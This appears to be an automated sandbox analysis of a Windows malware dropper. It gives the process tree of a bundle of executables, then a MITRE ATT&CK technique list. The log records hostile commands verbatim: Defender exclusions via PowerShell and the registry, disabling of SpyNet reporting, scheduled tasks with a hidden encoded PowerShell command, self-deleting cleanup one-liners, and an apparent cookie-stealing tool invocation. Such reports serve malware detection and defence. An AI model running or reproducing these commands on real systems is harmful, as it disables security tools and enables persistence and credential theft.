- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3524

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1824

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_10.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:4304

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_10.exe
sonia_10.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:8

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_9.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2092

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_9.exe
sonia_9.exe
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3000

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_9.exe
C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_9.exe
6⤵
- Executes dropped EXE
PID:4936

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_9.exe
C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_9.exe
6⤵
- Executes dropped EXE
PID:4604

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_8.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1388

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_8.exe
sonia_8.exe
5⤵
- Executes dropped EXE
PID:2444

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_7.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:4308

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_7.exe
sonia_7.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:2472

C:\Users\Admin\Documents\8S6SEqp0C9r04HgrWSxaHdKl.exe
"C:\Users\Admin\Documents\8S6SEqp0C9r04HgrWSxaHdKl.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:224

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im 8S6SEqp0C9r04HgrWSxaHdKl.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\8S6SEqp0C9r04HgrWSxaHdKl.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:2792

C:\Windows\SysWOW64\taskkill.exe
taskkill /im 8S6SEqp0C9r04HgrWSxaHdKl.exe /f
8⤵
- Kills process with taskkill
PID:1260

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:1376

C:\Users\Admin\Documents\ZchUXakA7zQs1UbptiVU79ID.exe
"C:\Users\Admin\Documents\ZchUXakA7zQs1UbptiVU79ID.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:4048

C:\Users\Admin\AppData\Local\Temp\0bf1dc29-856b-4082-b552-adfc22f0a91c.exe
"C:\Users\Admin\AppData\Local\Temp\0bf1dc29-856b-4082-b552-adfc22f0a91c.exe"
7⤵
- Executes dropped EXE
- Checks processor information in registry
PID:1536

C:\Users\Admin\Documents\XdonnVtCDLKCJINoe1yjPJ_y.exe
"C:\Users\Admin\Documents\XdonnVtCDLKCJINoe1yjPJ_y.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- System policy modification
PID:1356

C:\Users\Admin\AppData\Local\Temp\2a664afd-9f68-452b-b039-ba449e6367f6\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\2a664afd-9f68-452b-b039-ba449e6367f6\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\2a664afd-9f68-452b-b039-ba449e6367f6\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
7⤵
- Executes dropped EXE
- Checks computer location settings
PID:1404

C:\Users\Admin\AppData\Local\Temp\2a664afd-9f68-452b-b039-ba449e6367f6\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\2a664afd-9f68-452b-b039-ba449e6367f6\AdvancedRun.exe" /SpecialRun 4101d8 1404
8⤵
- Executes dropped EXE
PID:1872

C:\Users\Admin\AppData\Local\Temp\2a664afd-9f68-452b-b039-ba449e6367f6\4509b486-afc5-40a2-9650-d49305742708.exe
"C:\Users\Admin\AppData\Local\Temp\2a664afd-9f68-452b-b039-ba449e6367f6\4509b486-afc5-40a2-9650-d49305742708.exe" /o /c "Windows-Defender" /r
7⤵
- Executes dropped EXE
PID:3508

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\XdonnVtCDLKCJINoe1yjPJ_y.exe" -Force
7⤵
PID:1004

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
8⤵
PID:2316

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension "exe" -Force
7⤵
PID:4420

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\XdonnVtCDLKCJINoe1yjPJ_y.exe" -Force
7⤵
PID:2412

C:\Users\Admin\Documents\XdonnVtCDLKCJINoe1yjPJ_y.exe
"C:\Users\Admin\Documents\XdonnVtCDLKCJINoe1yjPJ_y.exe"
7⤵
- Executes dropped EXE
PID:4292

C:\Users\Admin\Documents\XdonnVtCDLKCJINoe1yjPJ_y.exe
"C:\Users\Admin\Documents\XdonnVtCDLKCJINoe1yjPJ_y.exe"
7⤵
- Executes dropped EXE
PID:4304

C:\Users\Admin\Documents\XdonnVtCDLKCJINoe1yjPJ_y.exe
"C:\Users\Admin\Documents\XdonnVtCDLKCJINoe1yjPJ_y.exe"
7⤵
- Executes dropped EXE
PID:3396

C:\Users\Admin\Documents\Bdvc7UYV6muzRKlIumLLzrZp.exe
"C:\Users\Admin\Documents\Bdvc7UYV6muzRKlIumLLzrZp.exe"
6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:3036

C:\Users\Admin\Documents\Byoci7hPW_hHuy3ewNZ_TxR9.exe
"C:\Users\Admin\Documents\Byoci7hPW_hHuy3ewNZ_TxR9.exe"
6⤵
- Executes dropped EXE
PID:4488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 444
7⤵
- Program crash
PID:4604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 452
7⤵
- Program crash
PID:4872

C:\Users\Admin\Documents\Rg2o0iW8yGLqaViJhkdUVtWR.exe
"C:\Users\Admin\Documents\Rg2o0iW8yGLqaViJhkdUVtWR.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
PID:2148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2148 -s 800
7⤵
- Program crash
PID:1536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2148 -s 824
7⤵
- Program crash
PID:484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2148 -s 1264
7⤵
- Program crash
PID:3888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2148 -s 1272
7⤵
- Program crash
PID:3952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2148 -s 1316
7⤵
- Program crash
PID:5060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2148 -s 1256
7⤵
- Program crash
PID:1848

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "Rg2o0iW8yGLqaViJhkdUVtWR.exe" /f & erase "C:\Users\Admin\Documents\Rg2o0iW8yGLqaViJhkdUVtWR.exe" & exit
7⤵
PID:392

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "Rg2o0iW8yGLqaViJhkdUVtWR.exe" /f
8⤵
- Kills process with taskkill
PID:1004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2148 -s 1144
7⤵
- Program crash
PID:1692

C:\Users\Admin\Documents\HfZ0d3Nym5303FQK5oMQwlcp.exe
"C:\Users\Admin\Documents\HfZ0d3Nym5303FQK5oMQwlcp.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:1632

C:\Users\Admin\Documents\zozMzLh4Rl6xWzHF8AWjKL3u.exe
"C:\Users\Admin\Documents\zozMzLh4Rl6xWzHF8AWjKL3u.exe"
6⤵
- Executes dropped EXE
PID:636

C:\Users\Admin\Documents\oLNPkOWUuqcHfMANGQC_miwX.exe
"C:\Users\Admin\Documents\oLNPkOWUuqcHfMANGQC_miwX.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
PID:3172

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im oLNPkOWUuqcHfMANGQC_miwX.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\oLNPkOWUuqcHfMANGQC_miwX.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:2608

C:\Windows\SysWOW64\taskkill.exe
taskkill /im oLNPkOWUuqcHfMANGQC_miwX.exe /f
8⤵
- Kills process with taskkill
PID:5060

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:3960

C:\Users\Admin\Documents\0uiEW6ZF5BLFEfNleYluBSkX.exe
"C:\Users\Admin\Documents\0uiEW6ZF5BLFEfNleYluBSkX.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
PID:1456

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\System32\svchost.exe"
7⤵
PID:1872

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Detto.xla
7⤵
PID:1312

C:\Windows\SysWOW64\cmd.exe
cmd
8⤵
PID:4120

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq BullGuardCore.exe"
9⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1636

C:\Windows\SysWOW64\find.exe
find /I /N "bullguardcore.exe"
9⤵
PID:4228

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq PSUAService.exe"
9⤵
- Enumerates processes with tasklist
PID:3488

C:\Windows\SysWOW64\find.exe
find /I /N "psuaservice.exe"
9⤵
PID:2488

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^wtwRMqjYMlcblhfrOaJNpOohYASICCRoGRaYHSofIqwzkvtDhVASceYjWNSjoDvlzhRaVdvWpzypNPwCvgcGwZMDTye$" Hai.xla
9⤵
PID:484

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
Sta.exe.pif V
9⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:812

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
10⤵
PID:1644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1644 -s 456
11⤵
- Program crash
PID:4488

C:\Users\Admin\Documents\Gf5qR0bJDJB4tiAoGOULxWjW.exe
"C:\Users\Admin\Documents\Gf5qR0bJDJB4tiAoGOULxWjW.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:4220

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
PID:3524

C:\Users\Admin\Documents\d9YofFxLUMnFRDwghrQo46H3.exe
"C:\Users\Admin\Documents\d9YofFxLUMnFRDwghrQo46H3.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3532

C:\Users\Admin\Documents\d9YofFxLUMnFRDwghrQo46H3.exe
"C:\Users\Admin\Documents\d9YofFxLUMnFRDwghrQo46H3.exe"
7⤵
- Executes dropped EXE
PID:544

C:\Users\Admin\Documents\PhBHa0pcw6rdetIINdEf0_AG.exe
"C:\Users\Admin\Documents\PhBHa0pcw6rdetIINdEf0_AG.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:4696

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
PID:4624

C:\Users\Admin\Documents\FYHyeEvMgIvnoChQtSIqHlDj.exe
"C:\Users\Admin\Documents\FYHyeEvMgIvnoChQtSIqHlDj.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:3424

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout 45
7⤵
PID:1736

C:\Windows\SysWOW64\timeout.exe
timeout 45
8⤵
- Delays execution with timeout.exe
PID:1180

C:\Users\Admin\AppData\Local\Temp\Ztfglzprim.exe
"C:\Users\Admin\AppData\Local\Temp\Ztfglzprim.exe"
7⤵
PID:3352

C:\Users\Admin\Documents\FYHyeEvMgIvnoChQtSIqHlDj.exe
C:\Users\Admin\Documents\FYHyeEvMgIvnoChQtSIqHlDj.exe
7⤵
PID:2628

C:\Users\Admin\Documents\FYHyeEvMgIvnoChQtSIqHlDj.exe
C:\Users\Admin\Documents\FYHyeEvMgIvnoChQtSIqHlDj.exe
7⤵
PID:3952

C:\Users\Admin\Documents\vVqW0bWz6HMGrdPNiuUKwdnp.exe
"C:\Users\Admin\Documents\vVqW0bWz6HMGrdPNiuUKwdnp.exe"
6⤵
- Executes dropped EXE
PID:4552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4552 -s 464
7⤵
- Program crash
PID:476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4552 -s 472
7⤵
- Program crash
PID:2576

C:\Users\Admin\Documents\ZTC4qzST4EBrPg88LF6uTDmv.exe
"C:\Users\Admin\Documents\ZTC4qzST4EBrPg88LF6uTDmv.exe"
6⤵
- Executes dropped EXE
PID:4740

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\Documents\ZTC4qzST4EBrPg88LF6uTDmv.exe
7⤵
PID:3768

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 0
8⤵
PID:2752

C:\Users\Admin\Documents\63VnWUK6R4zmMI1SwoFjvGvH.exe
"C:\Users\Admin\Documents\63VnWUK6R4zmMI1SwoFjvGvH.exe"
6⤵
- Executes dropped EXE
PID:2544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2544 -s 472
7⤵
- Program crash
PID:3836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2544 -s 492
7⤵
- Program crash
PID:1080

C:\Users\Admin\Documents\DeDm2UMBWBc5UYk1KmLHZl5j.exe
"C:\Users\Admin\Documents\DeDm2UMBWBc5UYk1KmLHZl5j.exe"
6⤵
- Executes dropped EXE
PID:2956

C:\Users\Admin\AppData\Local\Temp\7zS480E.tmp\Install.exe
.\Install.exe
7⤵
- Executes dropped EXE
PID:4504

C:\Users\Admin\AppData\Local\Temp\7zS5D6A.tmp\Install.exe
.\Install.exe /S /site_id "525403"
8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
PID:3344

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
9⤵
PID:4824

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
10⤵
PID:3508

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
11⤵
PID:4176

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
11⤵
PID:4652

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
9⤵
PID:4696

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
10⤵
PID:1180

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
11⤵
PID:2316

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
11⤵
PID:4060

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gYQTRyObP" /SC once /ST 12:40:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
9⤵
- Creates scheduled task(s)
PID:3888

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gYQTRyObP"
9⤵
PID:4696

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gYQTRyObP"
9⤵
PID:3744

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "booXbIzkEgfNdKvxAC" /SC once /ST 13:17:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\DmuwztT.exe\" j6 /site_id 525403 /S" /V1 /F
9⤵
- Creates scheduled task(s)
PID:4316

C:\Users\Admin\Documents\d7vAoooQCEdjlwHXaQO5rxvr.exe
"C:\Users\Admin\Documents\d7vAoooQCEdjlwHXaQO5rxvr.exe"
6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:4708

C:\Users\Admin\Documents\q1NVvUbNZVGKXKQQ6uK_Fo1Y.exe
"C:\Users\Admin\Documents\q1NVvUbNZVGKXKQQ6uK_Fo1Y.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:5112

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
PID:3676

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_6.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1352

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_6.exe
sonia_6.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:320

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_5.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1612

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_5.exe
sonia_5.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2956

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_4.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3828

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_4.exe
sonia_4.exe
5⤵
- Executes dropped EXE
PID:3148

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
- Executes dropped EXE
PID:3476

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4664

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_3.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3596

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_3.exe
sonia_3.exe
5⤵
- Executes dropped EXE
- Modifies system certificate store
PID:4800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4800 -s 1168
6⤵
- Program crash
PID:4608

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_2.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1736

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_2.exe
sonia_2.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2980

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_1.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:364

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_1.exe
sonia_1.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4712

C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_1.exe
"C:\Users\Admin\AppData\Local\Temp\7zS4CD3079D\sonia_1.exe" -a
6⤵
- Executes dropped EXE
PID:3036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1824 -s 548
4⤵
- Program crash
PID:1404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1824 -ip 1824
1⤵
PID:3164

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:1912

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
2⤵
- Loads dropped DLL
PID:2852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2852 -s 608
3⤵
- Program crash
PID:3088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2852 -ip 2852
1⤵
PID:384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4800 -ip 4800
1⤵
PID:1296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4488 -ip 4488
1⤵
PID:4200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2148 -ip 2148
1⤵
PID:3544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2148 -ip 2148
1⤵
PID:2648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2544 -ip 2544
1⤵
PID:4208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4552 -ip 4552
1⤵
PID:3224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2148 -ip 2148
1⤵
PID:3184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 4488 -ip 4488
1⤵
PID:2976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 4552 -ip 4552
1⤵
PID:484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2544 -ip 2544
1⤵
PID:392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 2148 -ip 2148
1⤵
PID:3576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 2148 -ip 2148
1⤵
PID:4576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 2148 -ip 2148
1⤵
PID:1320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2148 -ip 2148
1⤵
PID:4812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2148 -ip 2148
1⤵
PID:732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2148 -ip 2148
1⤵
PID:4228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:1088

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:4572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:2116

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 1644 -ip 1644
1⤵
PID:4068

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Bypass User Account Control

T1088

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery